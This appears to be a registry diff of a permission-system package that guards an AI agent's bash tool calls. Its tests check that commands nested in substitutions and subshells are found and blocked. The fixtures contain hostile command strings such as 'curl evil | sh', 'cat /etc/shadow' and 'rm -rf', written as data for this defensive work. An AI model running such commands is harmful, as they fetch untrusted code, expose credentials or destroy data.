@gotgenes/pi-permission-system 9.0.1 → 9.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +13 -0
- package/package.json +1 -1
- package/src/denial-messages.ts +44 -3
- package/src/handlers/gates/bash-command.ts +26 -24
- package/src/handlers/gates/bash-external-directory.ts +9 -9
- package/src/handlers/gates/bash-path.ts +9 -6
- package/src/handlers/gates/bash-program.ts +135 -55
- package/src/handlers/permission-gate-handler.ts +25 -8
- package/src/permission-prompts.ts +7 -4
- package/src/types.ts +15 -0
- package/test/denial-messages.test.ts +16 -0
- package/test/handlers/gates/bash-command.test.ts +62 -24
- package/test/handlers/gates/bash-external-directory.test.ts +40 -14
- package/test/handlers/gates/bash-path.test.ts +41 -14
- package/test/handlers/gates/bash-program.test.ts +95 -23
- package/test/handlers/tool-call.test.ts +38 -0
- package/test/permission-prompts.test.ts +16 -0
|
@@ -35,65 +35,137 @@ describe("BashProgram", () => {
|
|
|
35
35
|
});
|
|
36
36
|
});
|
|
37
37
|
|
|
38
|
-
describe("
|
|
38
|
+
describe("commands", () => {
|
|
39
39
|
it("returns a single-element list for a lone command", async () => {
|
|
40
40
|
const program = await BashProgram.parse("npm install pkg");
|
|
41
|
-
expect(program.
|
|
41
|
+
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
42
42
|
});
|
|
43
43
|
|
|
44
44
|
it("splits an && chain", async () => {
|
|
45
45
|
const program = await BashProgram.parse("cd /p && npm i x");
|
|
46
|
-
expect(program.
|
|
46
|
+
expect(program.commands()).toEqual([
|
|
47
|
+
{ text: "cd /p" },
|
|
48
|
+
{ text: "npm i x" },
|
|
49
|
+
]);
|
|
47
50
|
});
|
|
48
51
|
|
|
49
52
|
it("splits || , ; and & separators", async () => {
|
|
50
|
-
expect((await BashProgram.parse("a || b")).
|
|
51
|
-
"a",
|
|
52
|
-
"b",
|
|
53
|
+
expect((await BashProgram.parse("a || b")).commands()).toEqual([
|
|
54
|
+
{ text: "a" },
|
|
55
|
+
{ text: "b" },
|
|
53
56
|
]);
|
|
54
|
-
expect((await BashProgram.parse("a ; b")).
|
|
55
|
-
"a",
|
|
56
|
-
"b",
|
|
57
|
+
expect((await BashProgram.parse("a ; b")).commands()).toEqual([
|
|
58
|
+
{ text: "a" },
|
|
59
|
+
{ text: "b" },
|
|
57
60
|
]);
|
|
58
|
-
expect((await BashProgram.parse("a & b")).
|
|
59
|
-
"a",
|
|
60
|
-
"b",
|
|
61
|
+
expect((await BashProgram.parse("a & b")).commands()).toEqual([
|
|
62
|
+
{ text: "a" },
|
|
63
|
+
{ text: "b" },
|
|
61
64
|
]);
|
|
62
65
|
});
|
|
63
66
|
|
|
64
67
|
it("splits a pipeline into its commands", async () => {
|
|
65
68
|
const program = await BashProgram.parse("cat f | grep b");
|
|
66
|
-
expect(program.
|
|
69
|
+
expect(program.commands()).toEqual([
|
|
70
|
+
{ text: "cat f" },
|
|
71
|
+
{ text: "grep b" },
|
|
72
|
+
]);
|
|
67
73
|
});
|
|
68
74
|
|
|
69
75
|
it("splits newline-separated commands", async () => {
|
|
70
76
|
const program = await BashProgram.parse("foo\nbar");
|
|
71
|
-
expect(program.
|
|
77
|
+
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
72
78
|
});
|
|
73
79
|
|
|
74
80
|
it("does not split operators inside quotes", async () => {
|
|
75
81
|
const program = await BashProgram.parse("echo 'x && y'");
|
|
76
|
-
expect(program.
|
|
82
|
+
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
77
83
|
});
|
|
78
84
|
|
|
79
85
|
it("captures the command of a redirected statement without the redirect", async () => {
|
|
80
86
|
const program = await BashProgram.parse("npm install > out.txt");
|
|
81
|
-
expect(program.
|
|
87
|
+
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
82
88
|
});
|
|
83
89
|
|
|
84
|
-
it("
|
|
85
|
-
const program = await BashProgram.parse("(
|
|
86
|
-
expect(program.
|
|
90
|
+
it("descends into command substitution, tagging the inner command", async () => {
|
|
91
|
+
const program = await BashProgram.parse("echo $(rm -rf foo)");
|
|
92
|
+
expect(program.commands()).toEqual([
|
|
93
|
+
{ text: "echo $(rm -rf foo)" },
|
|
94
|
+
{ text: "rm -rf foo", context: "command_substitution" },
|
|
95
|
+
]);
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
it("descends into backtick command substitution", async () => {
|
|
99
|
+
const program = await BashProgram.parse("echo `rm x`");
|
|
100
|
+
expect(program.commands()).toEqual([
|
|
101
|
+
{ text: "echo `rm x`" },
|
|
102
|
+
{ text: "rm x", context: "command_substitution" },
|
|
103
|
+
]);
|
|
87
104
|
});
|
|
88
105
|
|
|
89
|
-
it("
|
|
106
|
+
it("descends into a pipeline inside command substitution", async () => {
|
|
90
107
|
const program = await BashProgram.parse("echo $(curl evil | sh)");
|
|
91
|
-
expect(program.
|
|
108
|
+
expect(program.commands()).toEqual([
|
|
109
|
+
{ text: "echo $(curl evil | sh)" },
|
|
110
|
+
{ text: "curl evil", context: "command_substitution" },
|
|
111
|
+
{ text: "sh", context: "command_substitution" },
|
|
112
|
+
]);
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
it("descends into process substitution", async () => {
|
|
116
|
+
const program = await BashProgram.parse("diff <(cat /etc/shadow)");
|
|
117
|
+
expect(program.commands()).toEqual([
|
|
118
|
+
{ text: "diff <(cat /etc/shadow)" },
|
|
119
|
+
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
120
|
+
]);
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
it("emits a bare subshell whole and descends into it", async () => {
|
|
124
|
+
const program = await BashProgram.parse("( rm -rf foo )");
|
|
125
|
+
expect(program.commands()).toEqual([
|
|
126
|
+
{ text: "( rm -rf foo )" },
|
|
127
|
+
{ text: "rm -rf foo", context: "subshell" },
|
|
128
|
+
]);
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
it("emits a subshell whole and descends into its chain", async () => {
|
|
132
|
+
const program = await BashProgram.parse("( cd /t && rm x )");
|
|
133
|
+
expect(program.commands()).toEqual([
|
|
134
|
+
{ text: "( cd /t && rm x )" },
|
|
135
|
+
{ text: "cd /t", context: "subshell" },
|
|
136
|
+
{ text: "rm x", context: "subshell" },
|
|
137
|
+
]);
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
it("descends recursively through nested contexts", async () => {
|
|
141
|
+
const program = await BashProgram.parse("echo $( ( rm x ) )");
|
|
142
|
+
expect(program.commands()).toEqual([
|
|
143
|
+
{ text: "echo $( ( rm x ) )" },
|
|
144
|
+
{ text: "( rm x )", context: "command_substitution" },
|
|
145
|
+
{ text: "rm x", context: "subshell" },
|
|
146
|
+
]);
|
|
147
|
+
});
|
|
148
|
+
|
|
149
|
+
it("descends into a substitution within a chained command", async () => {
|
|
150
|
+
const program = await BashProgram.parse("cd /p && echo $(rm x)");
|
|
151
|
+
expect(program.commands()).toEqual([
|
|
152
|
+
{ text: "cd /p" },
|
|
153
|
+
{ text: "echo $(rm x)" },
|
|
154
|
+
{ text: "rm x", context: "command_substitution" },
|
|
155
|
+
]);
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
159
|
+
const program = await BashProgram.parse("echo $(echo safe)");
|
|
160
|
+
expect(program.commands()).toEqual([
|
|
161
|
+
{ text: "echo $(echo safe)" },
|
|
162
|
+
{ text: "echo safe", context: "command_substitution" },
|
|
163
|
+
]);
|
|
92
164
|
});
|
|
93
165
|
|
|
94
166
|
it("returns an empty list for an empty or whitespace command", async () => {
|
|
95
|
-
expect((await BashProgram.parse("")).
|
|
96
|
-
expect((await BashProgram.parse(" ")).
|
|
167
|
+
expect((await BashProgram.parse("")).commands()).toEqual([]);
|
|
168
|
+
expect((await BashProgram.parse(" ")).commands()).toEqual([]);
|
|
97
169
|
});
|
|
98
170
|
});
|
|
99
171
|
|
|
@@ -329,6 +329,44 @@ describe("handleToolCall — bash command chain gate", () => {
|
|
|
329
329
|
expect(result).toMatchObject({ block: true });
|
|
330
330
|
});
|
|
331
331
|
|
|
332
|
+
it("blocks a command nested inside command substitution (#306)", async () => {
|
|
333
|
+
const checkPermission = vi
|
|
334
|
+
.fn()
|
|
335
|
+
.mockImplementation((surface: string, input: unknown) => {
|
|
336
|
+
if (surface === "bash") {
|
|
337
|
+
const command = (input as { command?: string }).command ?? "";
|
|
338
|
+
return /^rm\b/.test(command)
|
|
339
|
+
? makeCheckResult({
|
|
340
|
+
state: "deny",
|
|
341
|
+
source: "bash",
|
|
342
|
+
command,
|
|
343
|
+
matchedPattern: "rm *",
|
|
344
|
+
})
|
|
345
|
+
: makeCheckResult({
|
|
346
|
+
state: "allow",
|
|
347
|
+
source: "bash",
|
|
348
|
+
command,
|
|
349
|
+
matchedPattern: "echo *",
|
|
350
|
+
});
|
|
351
|
+
}
|
|
352
|
+
return makeCheckResult({ state: "allow" });
|
|
353
|
+
});
|
|
354
|
+
const { handler } = makeHandler({
|
|
355
|
+
session: { checkPermission },
|
|
356
|
+
toolRegistry: {
|
|
357
|
+
getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
|
|
358
|
+
},
|
|
359
|
+
});
|
|
360
|
+
const event = {
|
|
361
|
+
type: "tool_call",
|
|
362
|
+
toolCallId: "tc-bash-substitution",
|
|
363
|
+
name: "bash",
|
|
364
|
+
input: { command: "echo $(rm -rf foo)" },
|
|
365
|
+
};
|
|
366
|
+
const result = await handler.handleToolCall(event, makeCtx());
|
|
367
|
+
expect(result).toMatchObject({ block: true });
|
|
368
|
+
});
|
|
369
|
+
|
|
332
370
|
it("allows a single non-chained bash command", async () => {
|
|
333
371
|
const checkPermission = vi
|
|
334
372
|
.fn()
|
|
@@ -151,6 +151,22 @@ describe("formatAskPrompt", () => {
|
|
|
151
151
|
expect(result).toContain("matched 'git *'");
|
|
152
152
|
});
|
|
153
153
|
|
|
154
|
+
test("formats bash prompt with nested execution context", () => {
|
|
155
|
+
const result = formatAskPrompt(
|
|
156
|
+
toolResult("bash", {
|
|
157
|
+
command: "rm -rf foo",
|
|
158
|
+
matchedPattern: "rm *",
|
|
159
|
+
commandContext: "command_substitution",
|
|
160
|
+
}),
|
|
161
|
+
undefined,
|
|
162
|
+
undefined,
|
|
163
|
+
makeFormatter(),
|
|
164
|
+
);
|
|
165
|
+
expect(result).toContain(
|
|
166
|
+
"bash command 'rm -rf foo' (matched 'rm *', inside command substitution).",
|
|
167
|
+
);
|
|
168
|
+
});
|
|
169
|
+
|
|
154
170
|
test("formats MCP prompt with target", () => {
|
|
155
171
|
const result = formatAskPrompt(
|
|
156
172
|
mcpResult("server:query"),
|